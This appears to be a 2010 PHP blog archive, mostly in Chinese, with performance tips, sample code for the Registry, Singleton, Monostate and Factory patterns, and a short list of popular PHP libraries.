- Method invocation appears to be independent of the number of methods defined in the class because I added 10 more methods to the test class (before and after the test method) with no change in performance.
- Methods in derived classes run faster than ones defined in the base class.
- A function call with one parameter and an empty function body takes about the same time as doing 7-8 $localvar++ operations. A similar method call is of course about 15 $localvar++ operations.
- Surrounding your string by ' instead of " will make things interpret a little faster since php looks for variables inside "…" but not inside '…'. Of course you can only do this when you don’t need to have variables in the string.
- When echoing strings it’s faster to separate them by comma instead of dot. Note: This only works with echo, which is a function that can take several strings as arguments.
- A PHP script will be served at least 2-10 times slower than a static HTML page by Apache. Try to use more static HTML pages and fewer scripts. Apache
- Your PHP scripts are recompiled every time unless the scripts are cached. Install a PHP caching product to typically increase performance by 25-100% by removing compile times.
- Cache as much as possible. Use memcached - memcached is a high-performance memory object caching system intended to speed up dynamic web applications by alleviating database load. OP code caches are useful so that your script does not have to be compiled on every request.
- When working with strings and you need to check that the string is either of a certain length you’d understandably would want to use the strlen() function. This function is pretty quick since it’s operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase & hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using an isset() trick.
- When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages, so don’t go modifying your C or Java code thinking it’ll suddenly become faster, it won’t. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend’s PHP optimizer. It is still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.
- Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory.
- Do not implement every data structure as a class, arrays are useful, too.
- Don’t split methods too much, think, which code you will really re-use.
- You can always split the code of a method later, when needed.
- Make use of the countless predefined functions.
- If you have very time consuming functions in your code, consider writing them as C extensions.
- Profile your code. A profiler shows you, which parts of your code consumes how many time. The Xdebug debugger already contains a profiler. Profiling shows you the bottlenecks in overview.
- mod_gzip which is available as an Apache module compresses your data on the fly and can reduce the data to transfer up to 80%.
2010年3月1日星期一
PHP 注册模式
[php title="PHP4"]
class RegistryMonoState {var $_store;
function &_initRegistry() {
static $store = array();
return $store;
}
function RegistryMonoState() {
$this->_store =& $this->_initRegistry();
}
function isValid($key) {
return array_key_exists($key, $this->_store);
}
function &get($key) {
if (array_key_exists($key, $this->_store))
return $this->_store[$key];
}
function set($key, &$obj) {
$this->_store[$key] =& $obj;
}
}
[/php]
[php title="PHP5"]
class RegistryMonoState {
protected static $store = array();
function isValid($key) {
return array_key_exists($key, RegistryMonoState::$store);
}
function get($key) {
if (array_key_exists($key, RegistryMonoState::$store))
return RegistryMonoState::$store[$key];
}
function set($key, $obj) {
RegistryMonoState::$store[$key] = $obj;
}
}
[/php]
单件模式的测试用例
[php]
define('REGISTRY_GLOBAL_STORE', '__registry_global_store_key__');
class RegistryGlobal {
var $_store;
function RegistryGlobal() {
if (!array_key_exists(REGISTRY_GLOBAL_STORE, $GLOBALS)||!is_array($GLOBALS[REGISTRY_GLOBAL_STORE])) {
$GLOBALS[REGISTRY_GLOBAL_STORE] = array();
}
$this->_store =& $GLOBALS[REGISTRY_GLOBAL_STORE];
}
function isValid($key) {
return array_key_exists($key, $this->_store);
}
function &get($key) {
if (array_key_exists($key, $this->_store)) return $this->_store[$key];
}
function set($key, &$obj) {
$this->_store[$key] =& $obj;
}
}
[/php]
$this->_store =& $GLOBALS[REGISTRY_GLOBAL_STORE;] 引用操作符将全局数组绑定到实例变量$_store上。这是单件模式实现的关键所在:每次在对象中使用$this->_store变量时,作用反映到全局变量中。
内嵌的Registry模式
[php]
class AddressBook {
var $registry;
function AddressBook() {
$this->registry =& Registry::getInstance();
}
function &findById($id) {
if (!$this->registry->isValid($id)) {
$this->registry->set($id, new Contact($id));
}
return $this->registry->get($id);
}
}
[/php]
AddressBook类的构造函数将registry绑定到一个实例变量。当创建了一个特定的ID并被findById()方法调用时,Registry被检查以确定对象是否已经被缓存。如果没有,将创建一个新的对象并存储在Registry中。被调用的对象将通过函数从Registry中取出并被返回。
2010年2月26日星期五
9个PHP库简介和下载
The reCAPTCHA 库让你可以为网站创建高级的 CAPTCHA 系统,这个系统其实是用来生成验证信息的,甚至包括语音验证。当然还有 reCAPTCHA 服务可以使用,其提供易用的免费 API,值得在你的网站试试。
下载 ReCAPTCHA | 获得 API Key | 文档
2. Akismet
Akismet 是个供小站点使用的免费服务,用来修改规范将加入数据库的评论(防止恶意评论)。这个库一直在改善。
详细参考 Akismet 介绍
3. Services_JSON
JSON 是人类能容易理解的信息传递格式。不过如果你并未使用 5.2.0 以后版本的 PHP(从那以后 PHP 有了 JSON 官方支持),那么就应该试试这个库。
查看 Services_JSON
4. Smarty
Smarty就是鼎鼎大名的官方模版库了。它提供了不少有用的功能。其实使用 PHP 的人都该瞧瞧。
下载 Smarty | 官方文档
5. pChart
pChart 是极其有名的数据图形库。它能为数据展示提供各种美丽的图表。其实使用 PHP 的人都一定会碰到使用它的情况。
下载 pChart | 文档| 查看演示
6. SimplePie
SimplePie 让你轻松提取内容(好比 RSS feeds)。它能和多种语言交互,也能处理各种格式的 feed。
下载 SimplePie | 查看文档 | 为独特的 RSS Feeds 拓展 SimplePie
7. XML-RPC PHP Library
有时你需要使用 XML-RPC 技术去和其他网站交互,那么试试这个 XML-RPC PHP 库吧。
下载 XML-RPC PHP | 查看文档
8. Amazon S3
Amazon 有名的云计算平台叫做 “S3″。这里就有Amazon S3 库 让你不用任何附加工具就可以使用云,上传大量数据文件。
下载 Amazon S3 PHP Class
9. PHPMailer
大多数 web 应用都在使用 PHP 的 mail() 函数。PHPMailer 让你更加灵活地处理 Email 的发出,不但支持任何格式,还可以加入附件并自定义 header。
下载 PHPMailer | 查看文档
2010年2月23日星期二
PHP 单件模式
PHP4 单件模式
在DbConn的构造函数中,你可能对$fromGetInstance的默认参数感到疑惑。在对象被直接实例化时,它能够提供(很微弱的)保护:除非这个默认值变成e (在PHP的数学常量中 M_E = 2.718281828459),否则这段代码会报错。
[php title="PHP4"]
class DbConn {
function DbConn($fromGetInstance=false) {
if (M_E != $fromGetInstance) {
trigger_error('The DbConn class is a Singleton,' .' please do not instantiate directly.');
}
}
function &getInstance() {
$key = '__some_unique_key_for_the_DbConn_instance__';
if (!(array_key_exists($key, $GLOBALS) && is_object($GLOBALS[$key]) && 'dbconn' == get_class($GLOBALS[$key]) )) {
$GLOBALS[$key] =& new DbConn(M_E);
}
return $GLOBALS[$key];
}
}
[/php]
如果不选用这个“神秘参数”-类型保护,建立一个全局标记是另外一个选择,用它来验证是通过getInstance()方法来创建的对象。保护方式从“知道它的名字”改变成“它存在于环境中”。
下面例子解释了为什么构造函数保护代码有一个全局的标识:
[php]
class DbConn {
function DbConn() {
$token = '__some_DbConn_instance_create_semaphore__';
if (!array_key_exists($token, $GLOBALS)) {
trigger_error('The DbConn class is a Singleton,' .' please do not instantiate directly.');
}
}
function &getInstance() {
static $instance = array();
if (!$instance) {
$token = '__some_DbConn_instance_create_semaphore__';
$GLOBALS[$token] = true;
$instance[0] =& new DbConn;
unset($GLOBALS[$token]);
}
return $instance[0];
}
}
[/php]
PHP4允许改变构造函数中$this的值。在过去,会习惯 $this = null;当有一个创建构造错误时,确保无效的对象不能被代码继续使用。但这种技术在PHP5中并不兼容。
另外,杀昂上段代码中另外一个重点是引用操作&的用法。有两种地方需要使用&。第一种是在函数定义时,在函数名字前用来表示将返回一个引用。第二种是将新的DbConn对象赋值给$GLOBALS数组。
getInstance()方法的条件检查,常常被写成没有警示的情况下运行,甚至在E_ALL的错误级别下也不会提示。它检查在$GLOBAL数组中适当的位置是否有一个DbConn对象,如果没有,就在那里创建这个对象。这个对象能被重复创建或者这个对象在之前已经被这个方法创建过。当方法结束时,可以确认已经拥有这个类的有效实例,而且它已经被有效初始化。
[php title="PHP5 单件模式"]
class DbConn {
static $instance = false;
private function __construct() {}
public function getInstance() {
if (!DbConn::$instance) {
DbConn::$instance = new DbConn;
}
return DbConn::$instance;
}
}
[/php]
组合使用静态方法和静态变量保持这个实例,并且设置构造函数为私有,例化类而创建实例,这个类就不能被直接实例化。
[php title="Monostate Pattern(单态模式):类单件模式"]
class ApplicationConfig {
var $_state;
function ApplicationConfig() {
$key = '__stealth_singleton_state_index__';
if (!(array_key_exists($key, $GLOBALS) && is_array($GLOBALS[$key]))) {
$GLOBALS[$key] = array();
}
$this->_state =& $GLOBALS[$key];
}
function set($key, $val) {
$this->_state[$key] = $val;
}
function get($key) {
if (array_key_exists($key, $this->_state)) {
return $this->_state[$key];
}
}
}
[/php]
在PHP中,通过把一个全局变量绑定到一个实例变量来实现MonoState。
这个技巧的核心是$this->state =& $GLOBALS[$key]; 。在确定$GLOBALS[$key]是一个数组后,代码绑定一个全局数组的引用给类变量$this->state。从而,任何$this->state的改变都自然而言地同步到全局数组,包括类的其它实例。
这个技巧能够在任何PHP的自动全局(superglobal)数组使用,尤其在用户消息队列$_SESSION中有很显著的效果。MonoState能通过你的代码为用户存储一系列的使用信息(要显示的信息可能是从另外一个页面传入的)。
资料:
PHP工厂模式
方法中如果有很多参数,常常变得很复杂,而且容易导致错误。可以引入一个封装参数的对象来替代一大堆的参数。举例来说,"start date" and "end date" 叁数可以用一个 DateRange 对象一起代替。
一个基类就是不能被直接实例化的类。 一个基础的类包含一个或更多的基础方法,这些方法必须在子类被覆盖。一旦所有的抽象方法被覆盖了, 子类也就产生了。
基类为许多相似的类创造了好的原型。
迟加载(Lazy Loading)的工厂, 使用工厂的另一个好处就是它具有迟加载的能力。这种情况常被用在:一个工厂中包括很多子类,这些子类被定义在单独的PHP文件内。
迟加载——在迟加载模式中是不预加载所有的操作(像包含PHP文件或者执行数据库查询语句),除非脚本中声明要加载。
实现迟加载的页面工厂(page factory)的代码可以写作:
[php]
class PageFactory {
function &getPage() {
$page = (array_key_exists('page', $_REQUEST)) ? strtolower($_REQUEST['page']): '';
switch ($page) {
case 'entry': $pageclass = 'Detail'; break;
case 'edit': $pageclass = 'Edit'; break;
case 'comment': $pageclass = 'Comment'; break;
default: $pageclass = 'Index';
}
if (!class_exists($pageclass)) {
require_once 'pages/' . $pageclass.'.php';
}
return new $pageclass;
}
}
[/php]
工厂模式, 它是一种代码中建立新对象的管理技术。可以把复杂对象的建立集中起来,甚至用不同的类代替不同的对象。最后,工厂模式支持OOP技术中的多态也是很重要的。